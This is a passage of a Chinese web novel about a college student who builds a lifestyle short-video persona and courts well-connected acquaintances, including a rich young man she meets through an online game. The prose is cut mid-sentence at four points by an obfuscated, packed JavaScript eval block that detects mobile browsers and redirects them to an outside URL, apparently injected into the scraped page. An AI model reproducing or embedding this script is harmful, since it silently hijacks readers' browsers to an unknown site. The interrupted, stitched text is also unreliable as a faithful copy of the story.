于是，她也跟着笑了。 回眸一笑百媚生啊。 梁芝心动了，砰砰直跳—— 她突然就知道自己在网上要走什么风格了。 看人下菜碟，几乎是人之本性。 她犹豫走宿舍网红这条路也包括这一点，她到底没长着一张靠美貌就能出圈的脸，万一没火，没挣到钱，还把自己的形象弄廉价了，那才是真的得不偿失。 毕竟现在的网络，要扒一个人实在是太简单了，传播速度还快，她不得不慎之又慎。 若想通过拍摄高质量照片吸引高质量人群，诸如网上名媛之类的，一来该类手段早已被人用烂，遇上行家，手里没东西，肚子里没货，只会漏洞百出、频频出丑；二来还是长相问题，卷这条赛道的大美女如过江之鲤，个个明艳动人，她着实不够脱颖而出。 不过—— 她上次才刷到一个肌肉健硕的男生赤着上半身，也系个围裙，可那张脸轮廓分明，手臂粗壮，暴露着蜿蜒的青筋，头垂着，拿个锅铲，挤在狭小的破旧厨房里，荷尔蒙恨不得穿透屏幕。 点赞量和评论区都反响极好，夸什么糙汉文学、县城文学照进现实。 这类文学可不止有男主角，男主角能火，能招人喜欢，那为什么女主角不能呢？ 环境乱点、差点都没事，再配上朦胧点或是像素感的滤镜，绝对有受众。 是啊，绝对有。 这可真适合她。 梁芝趿拉着拖鞋，走到卫生间的镜子前，镜子映出一道女人的身影。 她一笑，女人也跟着一笑，她眨眨眼，女人也冲她眨。 俗话说美人在骨不在皮，可美人美人……美的是神韵呢还是皮囊呢？ 于是对着那张镜子，梁芝足足练习了一下午。 直到确定从哪些角度看过去，她是好看的，笑时嘴角又该翘起怎样的弧度，以及眼波流转间，顾盼生辉的神韵。 她在衣柜翻出一条米色针织衫，套在身上，腰间空荡荡，一时找不 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一张会说话的照片和一个仿佛在诉说的女人。 她举着手机，欢快奔向沙发，整个身子坠下去，海藻般的头发散开，慵懒打着卷儿，从上空俯瞰，一朵浅茶色的花儿捧着中心女人的脸，生机勃勃地开。 账号叫什么名字呢？ 就简单点吧，像随意起的那种。 ‘好好吃饭’，亲昵点就称好好。 嗯，这个不错。 那第一条视频文案就叫——今天好好吃饭了吗？ 8. 出击 天边泛着鱼肚白，几缕晨光从没拉实的窗帘漏了下来，漏成一块狭窄的长方形光块，大半都倒在不规则花纹的木地板上，末尾堪堪够上床沿。 床沿边，裹得严实的被子里伸出一节皓白手腕，手腕在空中挥舞几下，碰到柜子边角，这才顺势攀上慢慢摸索。 好似竹竿操作的皮影，一节一节动。 指腹触到一块冰凉凉的屏幕，知道找对地方的手指收紧，嗖一下，连手带手机缩回被子里。 穿着睡衣的梁芝目的性极强地点开音符，随着界面弹出，右下角的消息栏上红色的99加也映入眼帘。 屏幕的荧光倒映在她透亮的眸子里，她点击下去—— 昨天还是零粉丝量的主页，现在涨了两三百，照片点赞刚过千。 梁芝往下划拉着评论，花式夸赞、要联系方式……都没什么好回的。 刷完了，她才去看最关心的私信。 音符有显示已读功能，她一般不会一条条点进去。先看头像、年龄，再看对方发了什么，有潜质的才会点进主页。 无论那人有没有发视频，主页或多或少都会透露出一些信息。 综合以上种种，她再考虑回不回私信。 但梁芝扫了一圈—— “好心动啊，一眼就被你吸引，期待……” “你好，可以认识一下吗？” “[表情]” “宝宝，处对象吗？” “……” 果然大部分都是没用的骚扰信息。 她掐灭手机，随手丢到一边，躺在床上，正对天花板，天花板白得看不见一丝瑕疵。 还是不能操之过急啊…… 背上书包，梁芝取下衣架上的米色围巾，在脖子上绕了两圈，一面放前，一面放后。 转身锁好门，回学校。 下了公交，梁芝拿出手机，看了眼上面显示的时间，离她从家出发，过了一个小时。 太久了，要是通勤时间再短点，她都想办走读了。 现在正是晚饭点，天还没完全暗下去，悬在空中的月亮发白，校园两边的路灯已经亮起。 梁芝路过食堂却没停留，迎面陆陆续续走来三两成群的学生，和她擦肩而过。 她下午吃了两份饭菜，现在肚子还撑得厉害。 为了保证更新频率，梁芝离家之前，换了两套衣服，拍了两组照片备用。 刚起号阶段，要养号，发的内容尽量同频，最好一天一更，时间一久，或许哪天平台就给量了，一炮而红。 校园卡滴一声，门开了，里面漆黑一片。 梁芝一愣。 宿舍没人。 难道今晚有什么新增的课吗？ 梁芝摸黑开灯，立即查看起群消息，翻了一圈，没看到，后又想，室友大概是吃饭去了。 几道欢快的说笑声从走廊传来，越来越近，停在了她宿舍门口。 又是滴一声。 三人见灯开了，默契对视一眼，笑声渐消。 “梁芝，你回来啦？” 戴若梦将三福的袋子塞进自己桌子上，还是被闻声而来的梁芝看到了。 三人站一快，彼此靠得近，和她之间却隔了几米，梁芝品出点意思，笑了笑，互相打了声招呼，也就没了下文。 周三中午下课。 梁芝去罗森买了杯豆浆跟饭团，囫囵几口吃掉，便匆匆赶去篮球场。 三十的时候，这里要举行外院和工学院的篮球比赛。 今天天气清爽宜人，温度不高，风刮过脸上，泛着丝丝凉意。 梁芝穿了件灰色毛衣开衫，长度刚刚没过臀部，下身是件紧身牛仔裤，远远看着，模样乖巧，身段纤细。 颈部还围着上次从家带的米色围巾，给头发低扎了个松垮的丸子头，从额角两边扯出两缕碎发，浅浅的，好似风浪拂过的麦穗，带着金灿灿的暖意。 她或许不是一眼惊艳的类型，但一定是耐看的，尤其身上的气质，安静、温婉，容易叫人卸防而不自知。 篮球场上这时还没什么人，一道亭亭玉立的身影捧着手机，来来回回地走，大半张脸都缩在围巾里。 宋樾川习惯早到，热身或是观察。 外院虽在体育赛事上一向弱势，但他对自己向来严苛，决定做的事就势必要尽力。 他踏进篮球场的领地，走了几步，不远处的女生似有所感，从手机上抬起头，撞入他视线中，一张挺没攻击性的脸。 一见他，女生朝他挥挥手，身子却没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13724085|144921||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 动，立在原地，声音不大不小，轻轻柔柔的，随着风动被送入他耳中—— “宋学长。” 宋樾川眉峰很轻地扬了一下。 他脚尖调转了个方向，朝她走去。 “宋学长怎么也来这么早？” 细长的眉，弯弯的，应和着她那双含笑的眼。 走进了，他才注意到她胸前挂着的牌子—— 梁芝，新闻传媒中心干事。 隔了几步距离，他扫过牌子的视线不算隐晦，梁芝也不介意，浅笑着道：“学长可能不记得我了，我是外院负责报道这次篮球赛的干事。” 态度不卑不亢，也不亲昵，听着是礼貌的回复，叫人顿生好感。 宋樾川眉眼跟着柔了柔，朝她略一点头，出于礼貌回道：“我来热身，你们报道也来这么早？” 梁芝晃晃手机，开衫袖口滑落一节，露出的皓腕上卡着一圈红绳，下面坠着个金铃铛。 “我来恶补篮球赛知识。” 目光不可避免滑过那道景，宋樾川移开眼，正欲问，为何不派个懂篮球的人来？ 女生却眼含歉意，不好意思道：“学长先去热身吧，我再不多看几眼，大概无法写出一份满意的稿子了。” 他眼神在她脸上稍滞了一下，没再多说什么，转身走至篮框下。 宋樾川的唇极薄，偏眉眼生得多情，这样的人，容易走极端。他脱去厚重的外套，里面是一件黑色运动紧身衣，牢牢包裹着肌肉贲张的上半身，与那张芝兰玉树般的脸，反差强烈。 手一抬一落，套上了印有外院字样的球衣后，他开始热身。 梁芝对宋樾川没什么想法，加之对方在学院有段万众瞩目的恋爱，大概只有想不开的才会硬凑上去。 她这番自告奋勇来，一是想混个眼熟，二是想探探他的底。 薛以珩有句话说的对啊，这世上朋友多了路好走，要宋樾川家境不一般，那他身边指定也有这样的朋友。 梁芝瞧上的就是他这个搭线桥，只是怎么让他主动给她搭线，还是个大问题。 毕竟找到一个优质的人，顺藤摸瓜才是最高效的扩圈方法，靠着网络，门槛低，就意味着人杂，跟大海捞针似的。 还是做两手打算好。 9. 比赛 尖锐的哨声划破空气。 一颗球被抛向空中，下降瞬间，两队穿着不同颜色球服的人马动了，窜动的人头四散。 又一声哨响，裁判比了个手势。 有点没说错，梁芝确实不懂篮球。 她弯腰从学校赞助的一箱矿泉水瓶中取出一瓶，走到记分员旁一个正呐喊的男生身侧。 “同学，喝口水润润嗓子吧。” 男生噤了声，望向出现在他视线中的一节手腕，又上移，落在对方那张脸上。 “这……”他挠挠头，憨笑一声：“谢谢啊学妹。” 接过后，他又偷瞄了一眼旁边的女生，没想到他一个场外人员还能收到女生送水，心里美滋滋。 “对了，你知道刚刚裁判为什么吹哨吗？” “哦，刚刚工学院2号带球撞了外院的7号。” “原来如此…那现在呢？” “水平伸二指，二次罚球。” “二次，第一次是在什么时候呀，怎么没有印象…等等，学长你慢点说，我记一下……” 梁芝打开备忘录，抬头望着他，一副期待又认真的模样。 林复哭笑不得，刚还以为是自己的魅力折服了学妹，好嘛，原来是拿他当百度来了。 看了眼她的工牌，“你们院为难新人啊，怎么就派你一个不懂的过来了？” “学长误会了，这届新传招的都是女生，大家都不太懂。”她笑着解释，温声细语的。 这性子也太温柔了。 林复心下起了点心思，“既然都不懂，你们部长就这么放心把任务交下去？” “部长提点了我们，赛事报道只用发官Q，有就行，不在精。” 梁芝望望球场上正火热的比赛，又望向林复。 被她这么看着，林复脸微红，轻咳一声，转移注意力般捏了捏手里矿泉瓶，塑料外壳一捏就陷下去一个印子，转瞬又恢复如初。 “刚好我没什么事，学妹有不懂的，尽管问我。” 宋樾川传出球后，捋了把被汗水浸得微湿的碎发，趁这间隙，扭头想看下记分牌，却一眼看到了先前主动结束和他对话的干事，同人言笑晏晏，微笑的弧度和对他时，没有丝毫不同。 乍起一阵风，鬓角的发乱了，她抬手理了下，金铃铛在阳光的照射下折出一道光，闪了下他的眼。 肩膀被人不设防撞了下，“宋哥，发什么呆呢？” 他抿起薄唇，接过球，灵活一转，避开他人的拦截，起身一跃。 球在空中抛出了一道完美的弧线，稳稳落入蓝框中。 比赛结束，宋樾川扭开一瓶水，仰头咚咚往嘴里灌。 也不知是汗还是喝的时候不小心漏下的水，一大颗顺着他性感的喉结滚过，没入胸前的衣服，胸膛因喘气微微起伏。 孟南初就是在这时候，踩着羊皮小高跟从入口处走进。 她穿着一条羊绒鱼尾裙，上衣是件斗篷款的小外套，没穿光腿神器，小腿肚在寒风里露着一节。 留洋归国的富家千金打扮，一走进篮球场，就吸引了大半目光。 走向宋樾川身旁，孟南初从口袋里掏出一包纸巾递给他。 “喏，擦擦汗吧。” 宋樾川接过，扫了眼她不怕冷的穿搭，温声道：“还没转暖，这样穿会冻到自己。” “我乐意怎么穿就怎么穿……”孟南初忍了又忍，夺过他手里的纸巾，“你还是别擦了，比我爹管得都多。” 宋樾川手一空，动作只顿了一下就恢复如常，横竖等会回去都是要洗澡的。 他脱下球服，边穿外套，边皱眉道：“说过很多次了，我从不要求你什么，但该说的我会说。” 又是这冠冕堂皇的话，孟南初有一瞬差点压不住上涌的委屈，深吸了口气道：“我今天不是来跟你吵架的。” “晚上有饭局。” 已经穿戴整齐的宋樾川，恢复了些许疏离感，话在脑中过了一圈，再抬眸时，眼神温柔了不少，主动向孟南初伸出手， “那走吧。” 这副模样叫孟南初心里好受不少，轻哼一声，搭上他的手。 “你还有一下午的时间可以好好表现一下。” “最近有什么想要的？” “又要拿你那点破钱打发我……” …… “今天麻烦学长了。” “也没什么……真觉麻烦了，不如加个微信？”林复半开玩笑道。 刚到宿舍，微信提示声紧跟着响起。 林复：【学妹到宿舍了吗？】 梁芝看了眼，但没回。 她打开音符将提前拍好的照片发了出去，回到推荐页面一看，又给她推送了薛以珩的视频。 一番对比下，还真叫人眼红，他的账号蒸蒸日上，点赞量稳定，粉丝量稳步上升。 点开评论区，他只回了一个人—— 0407：现在跟你校园里走一块，被认出的频率也太高了。 薛以珩：说不定其中一半认出的是何少。 梁芝顺着0407的头像，点进他主页。 他头像是一张抱着长毛蓝金的照片，手指修长有力，像素不算太高，看着像自己拍的。 主页ip地址显示在琼市，和薛以珩一个城市，总共就两个视频，一个是游戏截图，一个是逗猫视频。 看着平平无奇的账号，但他称他何少，是叫何斐君吧？薛以珩说他很有钱。 想到这，梁芝再次点开那仅有的两个视频，仔仔细细又看了一遍。 一个人的喜好、品行，再怎么藏都无法完全藏住，总会在细枝末节里漏出点马脚。 视频里的猫咪打扮得跟个小公主似的，穿着繁杂精细的蕾丝边裙子，脑袋上还卡着一个带网纱的小礼帽。 三秒后，视频里出现了指甲修剪齐整的一只手，手中拿着个逗猫棒，引诱猫咪去抓，又在对方即将扑倒的前一秒移开，来回几次，眼看猫咪烦了，想走开，那只手却直接丢掉了逗猫棒，一把将它捞了回来。 视频到这戛然而止。 梁芝退出音符，打开王者，找到薛以珩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13724086|144921||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的最近战绩。 高考结束的暑假，薛以珩拉着她一起玩过这个游戏，说是玩得好坏不重要，主要想听她说话。 这款游戏，梁芝一个不怎么玩游戏的人，在当时都对它有所耳闻。 短视频的流行催生了各类游戏主播的切片，切片又扩大了游戏的影响，现在好像还推出了一款陪玩软件，一时间更是将王者的热度推到了前所未有的高度。 连带着火了的还有代打等等，这未必不算一个风口，能挣多少不好说，但只要去做了，或多或少都能挣到点。 她在薛以珩的战绩里连翻了好几场，没想到还真让她找到了。 0407，和短视频上一样的昵称。 思索几秒，梁芝向对方发送了好友申请。 她现在资金紧张，别的都还需徐徐图之，不像这个，现成的摆在她面前。 — “薛……以珩？……！那是薛以珩吧？” “我去，真人好像比视频上还好看啊！” “快，拍张照，记录一下。” “他身边那个也好帅啊，果然帅哥都是跟帅哥一起玩的吗？” “……” 何斐君朝他投去一个意味深长的眼神。 “以后跟你走一块我都有压力了。” 薛以珩轻笑一下，从烟盒子里夹出一根，递给他，“你这么说，该有压力的是我吧？” 何斐君接过，自口袋里摸出一个印着老花的打火机，擦一下点着，深吸了一口，烟雾顺着唇型弧度缓缓溢出，“晚上去玩？” 他说着，随手将打火机丢给薛以珩。 薛以珩一把接住，也给自己点了一支。 “不了，晚上约了摄影去拍照。” 何斐君淡淡应了一声，想到了什么，他问：“那上次联系你的几家mcn你都拒了？你要是不放心，我在杭市认识几家公司，可以帮你介绍一下。” “好意我就先领了，改天请你吃饭。不过暂时没有被套牢的打算，本就是阴差阳错火了，走一步看一步吧。” 两人走着走着，很快就到了宿舍楼下，远远见着一个红发飘逸的女生。 何斐君走到一旁的垃圾桶，修瘦的指掐住烟头，摁灭，唇角上扬了几度，“那我先回去了？” 薛以珩显然也注意到了前方那道身影，态度并不高涨，反倒透着几分不耐烦。 将他的反应收入眼中，何斐君道：“何必这么苦大仇深，一个女生公开表示你是她的理想型，长得也不错，试试也没什么……总不能还想着你那刚开学就分了的初恋？” 他长相清隽爽朗，浑身一副家教极好的样子，看着倒十分正派， 薛以珩没正面回答他的话，“我只是暂时对感情没想法，而且说我——”他抬头看了眼何斐君，“你不是也差不多？” 何斐君笑笑，拍了拍他的肩，“我先上去了。” “嗯。” 回了宿舍，也没什么事，何斐君点开游戏，打发时间打算玩几把。 一上线就收到了一个好友申请。 10. 单挑 “单挑？” 什么鬼？ 何斐君挑了挑眉，颇觉有意思地点了同意。 进主页一看，场数和英雄数量又让他觉得是个小号。 头像是暗的，他失了兴趣，返回对战界面，自己开了一把。 而此时的梁芝，正在恶补明天课上的ppt和presentation。 稿子顺完一遍，时间已经快到十一点了，正要松口气，余光扫到电脑屏幕上一溜排的ppt，大部分都是上学期的，只有最新的一份是刚做的。 在上大学之前，梁芝从没想过英语专业的课堂竟会是ppt、presentation以及group work三家瓜分天下的局面。 每天任务挺多，自我提升倒没多少。 梁芝打开浏览器，整理出这学期值得参加的几个大型赛事。 全国大学生英语竞赛，目前规模最大的全国性赛事，由学校统一组织报名……catti杯翻译大赛、韩素音翻译大赛，这两个都是翻译赛事，韩素音不用说，身为翻译界认可的比赛，难度大，含金量高；catti杯，她总归是要考catti证书的，也可以一起备考。 她高考失利，无疑希望今后自己能更上一步。参加比赛，既能提升她的专业能力，也是她后期考研择校择师的一份助力。 选英语专业，也有部分原因是因为她热爱翻译，比起专业素养要求更高些的口译，她或许会更偏爱笔译，尤其是文学翻译，安安静静翻译完一片文章，好似跨时空与作者促膝长谈了一般。 梁芝将比赛的名称和时间抄录在便利贴上，撕下来贴在台灯上方的柜子边沿。 每天一抬眼就能看见，也好提醒她。 她总觉得，人不愁吃穿后，才能无虑无求地去追求理想、梦想之类的东西。 不受外物影响，居贫而志不移的，是圣人。 想了想，梁芝又加了一个‘求是杯’国际诗歌创作与翻译大赛。 反正她才大一，失败一次也没关系。 做好这些，梁芝才打开王者，看着通过的好友申请以及灰色的头像，她随即下载了个王者营地，将他的账号设为特别提醒。 何斐君再次上线，已经是周末了。 他平时并不怎么打游戏，只偶尔用来打发时间。 刚进门，也不知从哪个角落窜出来一只小猫，扑到他脚边，一根鸡毛掸子高高翘起，围着他小腿，蹭过来蹭过去。 好几次两只前脚都攀上了他的身体，何斐君小幅度抬起一只脚，白色球鞋勾住猫咪下巴，动作轻柔地带着它那颗毛茸茸的脑袋上扬。 “真乖。” 他俯身一把捞起它，随手撸了两把，抱着它走向沙发。 猫咪喵了两声。 他熟练又温柔地摸了摸这只长毛的围脖毛，手感极好，没有一处打结，顺滑得跟抹了层油似的。 虽然没真抹油，但鱼油却实打实吃了不少。 何斐君是琼市本地人，基本上每周都会来这边的房子度过周末，平日没人，他就专门请了个人上门喂养。 逗玩了好一会儿，他终于舍得放手，给猫咪换了干净的水，又添了新猫粮，看它埋头一点点吃着，这才转身去做起自己的事。 穿过装修得个小城堡的猫咪专属区域，何斐君重新回到客厅的沙发躺下，对着的就是采光性极好的阳台，一时间，整个身子都沐浴在大片阳光下，给他外轮廓蒙上了一层光晕。 刷了会手机，在群里约好晚上见面的时间后，他闲着无聊打开了王者。 上线后，他早忘了之前同意了个要找他单挑的人。 直到他打完一局，突然收到了好友邀请。 好好？ 这个好好是谁？在脑海里翻了半天，才勉强有点印象的何斐君顺势点了同意。 “你终于上线了。” 何斐君一个人在家，没戴耳机，游戏直接开的免提，却不曾想，刚一进她开的房间，声音就紧随其后想起，叫他一点防备都没有，就传遍了整个屋子。 语气并不是很强硬，可声音……整体声调很软，乍一听，有点嗲，但又带着清透的磁性，中和了过腻的感觉，听着醉人。 他从没觉得自己是个声控，但这个，还真叫他听着莫名悸动。 “上次你抓了我那么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13724087|144921||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 多次，让我心心念念了好久。” 上次是哪次？虽然何斐君一点印象也没有，但不妨碍他起了兴趣陪她继续下去。 他原本靠着沙发，慢慢半个身子前倾了几分。 小猫不知什么时候吃饱饭了，又跑到他身边，蹭来蹭去。 一根大尾巴扫到屏幕上，他腾出一只手，撸了几下它的下巴后，就把它抱到了一旁。 总觉得他的小猫要是会说话，就该是这样的声音。 他点开话筒，声音富有磁性，却又干净温润：“心心念念…为了找我单挑报仇？” 他轻轻笑了笑，“这个词不是这么用的。” 梁芝轻声答：“有什么区别吗？总之一想到被你抓死的场景，一次又一次……就不免会迁怒到你。” 对面顿了一会，道：“有没有人说过你的声音……” “什么？” “很温柔，”他想了想，补充道：“但和你说的内容不符，所以……” 何斐君勾了勾唇：“很反差。” “……我是认真的。” “我听出来了，你的声音低了几度。” 何斐君快步走向书房，拿起桌上的蓝牙耳机时，想到了什么，丢到一旁，从抽屉里摸出一个八百年没用过的有线耳机。 戴好后，才将接口插入手机。 “不是说要单挑吗？”他富有耐心地问，有几分循循善诱的意思。 “现在不想了。” 何斐君还没坐下去，拿着手机，立在原地问：“为什么？” “就是感觉你会让着我。” 他先是一怔，紧接着眼底浮起几分愉悦的笑意，肩膀放松下去，在椅子上坐下。 “如果你不想，我就不会。” 对面浅浅的平缓的呼吸声透过耳机，在他耳畔响起，像根羽毛轻轻扫。 她有几分犹豫：“还是算了，我本就是一时冲动，而且……已经没有生气的情绪了。” 何斐君几乎可以想象到她说这话的表情，顺从内心，他问：“那局赢了还是输了？” “……输了。” “那我带你打回来？” 11. 黑桃 搭在手机上的拇指稍一用力，擦拭掉屏幕上的一块模糊痕迹，连带着扫过她的头像。 也是只猫咪，白色的，系着粉色蝴蝶结。 还没等到回复，手机上率先突兀地弹出一个微信电话，何斐君眉头微蹙，看清名字后，又不得不接起：“什么事？” 薛以珩的声音连带着他身后的嘈杂的交谈一同传了过来，“我看了你在群里发的信息，今晚只有男的？” “我知道你对上次的事有阴影，放心吧，我跟他们强调过。” 何斐君漫不经心答着，净白的手指划去电话界面，返回王者时，房间里已经只剩他一个头像，孤零零地接手了房主。 左下角提醒有条未读消息—— “你没反驳，那就当约好啦。” 这么快，头像就已经灰了。 可约好了什么？他盯着那句话微微出神，长睫颤动，投下一抹半扇形的阴影。 “何斐君？” 他回神，“什么？” 薛以珩对他这幅状态感到一丝疑惑，正欲多问几句，身后的摄影已经开始催了。 “珩哥，景搭好了，这个时候的阳光从你背影打过来，呈现的效果最好。” 他捂了下手机的扬声器，“好，我就来。” 薛以珩重新接起电话：“没什么，我这还有点事，晚上见吧。” 他那边干脆利落地挂了电话，何以珩却拿着个屏幕暗下去的手机，兴致缺缺。 他走出房间，将正躺在猫爬架上晒太阳小憩的猫咪捞起来，抱在怀里，手指去勾它的下巴，小猫被人为吵醒，小脾气也上来了，张嘴叼住了他的一根手指，尖尖的牙齿蹭着他的指腹咬来咬去。 何斐君毫不介意，还顺势抬了抬它的小牙，清润的声音宠溺：“公主别生气，陪爹地玩会吧。” — 刚突然没了声，梁芝大概也猜到他是遇到事了，干脆顺势而为，留下一句话，就切掉了后台，为下次接触铺垫。 距离她起号已经过去一周了，一周时间，涨了两千多粉，视频浏览量没有超过十万的。 看来还是任重而道远。 为了鼓励粉丝评论，也为了打造与照片氛围相符的人设，梁芝翻了一遍评论，打算挑出几个回复。 “医生说我得了一种离不开美女的病，你就是我的药饱饱。” 点进主页一看，是个女生，于是梁芝回：“你也是饱饱。” “她的受众群体是[哭泣]” “这个好有氛围感啊，爱了爱了。” “谁敢亲？” “这个我是真喜欢啊。” “……” 好吧，她看了一圈，没什么值得回的了。 随着刷到的人多了，梁芝的后台私信也渐渐多了些别的类型—— “小姐姐，考虑做流量变现吗……” “哈喽，我是阳光传媒的小杜……” “接寄拍吗？” “3000” 梁芝下滑的手指一顿，送这个三千的拉黑举报一条龙。 再想要钱，也绝不能选这个。 手机滴一声，是驿站的短信，她前几天在网上下单的衣服到了。 她已经发了三四条在室内的视频，人是会审美疲劳的，接下来，她打算去室外拍几张。 先自拍几条，后面再找摄影，他拍，循序渐进。 看来，她得尽量在下周末到来之前，找个靠谱的又和她审美相近的摄影师。 — 五彩的光混着躁动的音乐，Dj手搓碟盘，身子跟着律动一晃一晃，台下各式各样打扮的年轻人也跟着他抬手，摆动。 何斐君一路穿过试图擦着他身子而过的众人，才来到卡座前。 卡座上已经坐了三三两两的人，其中有个半张脸隐在暗处，只能瞧见一节如刀刻般的下颌角，朦胧灯光一晃，露出挺直的鼻梁，散发着张扬的侵略感。 何斐君走到他身边坐下，“你来得够早。” 那人动了动，身子前倾，于是整张脸都露了出来，硬朗帅气。 要是梁芝在这，定要感叹一句，他比之前成熟了不少，且红气养人，也洗去了他身上那股愣头青般的气质。 薛以珩拎出一只酒杯，倒满，和何斐君碰了下。 “下午结束拍摄就直接过来了，省得回学校跑来跑去。” “也是。” 两人坐下还没一会，又来了一群人。 “何少爷，好久不见啊。” 何斐君站起身，唇角挂着浅浅的笑意：“都说了，别再叫什么少爷。” 说话这人穿了一件范思哲，下身束脚裤，黑眉，大嗓门，身上有股社会气，身后跟着几个年轻人。 “这喊不喊，也改不了你少爷的身份不是？……这位就是你那同学吧？” “老虎哥。”见目光投向自己，薛以珩也打了声招呼。 老虎哥十分自来熟，打量了他几番，直接拍上他的肩，“兄弟，我要是有你这张脸，还整什么活啊，天天开播搁那一坐，那不一堆人上赶着送钱！” 薛以珩端起一杯酒敬他，眼里含着几分笑：“那也不能和老虎哥比，光靠长相，可做不了平台的头部博主。” 这话对那位老虎哥显然十分受用，接过他的酒，也跟他说起掏心窝子的话，“我话放在这，我就看你有潜力，日后肯定能大火，有没有兴趣来我公司？没兴趣也没事啊，回去互关一下，等你哪天开直播，我给你捧捧场。” “老虎哥客气了。” 他们聊起，何斐君也主动让出空间，往外走了几步，招呼来一个营销，跟对方说了几句。 不一会儿，一个个身穿包臀裙的漂亮女生举着牌子绕场走来，身后跟着捧着黑桃A的制服小哥。 场上大部分目光都被这阵仗吸引过来，有人举起手机录视频，也几 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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肩膀被拍了两下，他移开手掌，光倏地泄下来，刺得他眼微微眯起，费力仰头看了一眼，是何斐君。 “散场了，走吧，今晚去我那睡。” 他沉默着点头。 何斐君叫了个车，将有些醉了的薛以珩塞进去，自己才从另一边上车。 车上，他的手机突然响了一声。 拿起一看，不禁有几分诧异，凌晨一点了，她竟然会在这个时间上线。 冰凉的晚风吹散了些薛以珩的醉意，身侧传来一声timi，他一愣，扭头去看何斐君，“……你现在打游戏？” “不是，就是——”被他这么一问，何斐君也觉自己有些夸张了，还没加载出的界面被他滑掉。 “没什么。” 12. 酒后 酒醉的后遗症在第二天早上醒来表露得淋漓尽致，薛以珩揉着头痛的太阳穴走出房间。 一个毛茸茸的东西突然擦着他脚边飞快跑过，让他本就不怎么清醒的脑袋激了一下，下意识出声：“什么东西……” 坐在沙发上戴着耳机的何斐君被动静吸引，朝客厅入口投去目光，“公主有点怕生，你吓到它了。” 说完，他很快又被拉回注意力，语气明显地温柔了几分：“公主啊……是我养的一只小猫。” 不知对面说了什么，他笑了笑：“并不是，它有名字，叫怜怜，只是我将它当公主养，平时就喊习惯了。” 薛以珩很快品出不对劲，他走到何斐君旁边坐下，“你在和谁说话？” 何斐君见此，只好先对耳机那头说：“抱歉，我朋友来了，可能要先退了。只是说了两次都没能带你打回来，有点过意不去，不如加个联系方式吧，我下次再和你约时间。” 薛以珩在一旁听着，挑了挑眉。 “好，我看见了。”何斐君关掉手机，抬头，睨了他一眼，“你起来得可真不是时候。” “对面是女生？那看来是我碍事了。”薛以珩调侃道：“来你家一趟，还能看到你主动要联系方式的场面，值了。” “是女生，一个很可爱的女生。” 何斐君也没打算藏着掖着，大方承认，走到茶水台前，从柜子里取出一个杯子，给他倒了杯温水，“喝点吧。” “评价挺高。” 薛以珩接过，盯着玻璃杯壁晕出的一个光圈，发起了呆。也不知想到了什么，还是只是因为喝醉后的后遗症，一时间有些怔怔的，眉眼低垂，显出几分落寞。 何斐君一眼就看出他身上的问题，不禁问道：“其实我一直挺好奇，你们究竟为什么分手。印象中，你去找她那天晚上挺兴奋，也不像是要去处理关系的。” 这么一问，薛以珩也突然想起来了他为什么会觉得玻璃壁的光圈这么眼熟，原来是特别像那天中午她走后，他独自走出商场抬头望见的太阳光晕，晃得人大脑一阵天旋地转。 他有些自嘲道：“可能是因为她压根就没喜欢过我。” 这个回答着实叫何斐君诧异了一下。 他抬手将水一口喝尽，杯子放在桌子上。 “我先回学校了。” — 梁芝发送过去微信小号后，趁时间还早，便点开单词软件，开始背单词。 背到饭点，刚好也收到了何斐君发来的验证信息，等吃完饭后，她才点了同意。 原本零联系人的通讯录终于迎来了第一个好友。 梁芝的头像和游戏里的一样，朋友圈背景是簌簌下落的樱花，十分少女心。 虽然设置了一个月可见，但能看见的动态也就只有一条。 葱白的手腕端着一个颇有设计感的暖黄色碟子，碟子上盛着自己煎的爆浆吐司，焦黄的酥脆外壳，乳白的牛奶从中心淌了出来，旁边点缀着几颗蓝莓。 卡在碟口露出的指甲保留着原甲长度，只涂了一层透肉粉，莹润透亮，腕间坠着一个金铃铛。 这是梁芝特意挑选的手饰，为了创造一个与她有关的记忆点，而且似乎…大家很容易为自己的想象心动。 点开图片。 整体是张挺有生活气息又很温馨的照片，可何斐君的视线却停在那一抹金色上，有些好奇到底是装饰的铃铛，还是真的会响。 他返回聊天界面，【现在有时间吗？】 好好：【好像不太有时间，我等会要出门。】 好好：【晚上可以吗？就是可能会有点吵。】 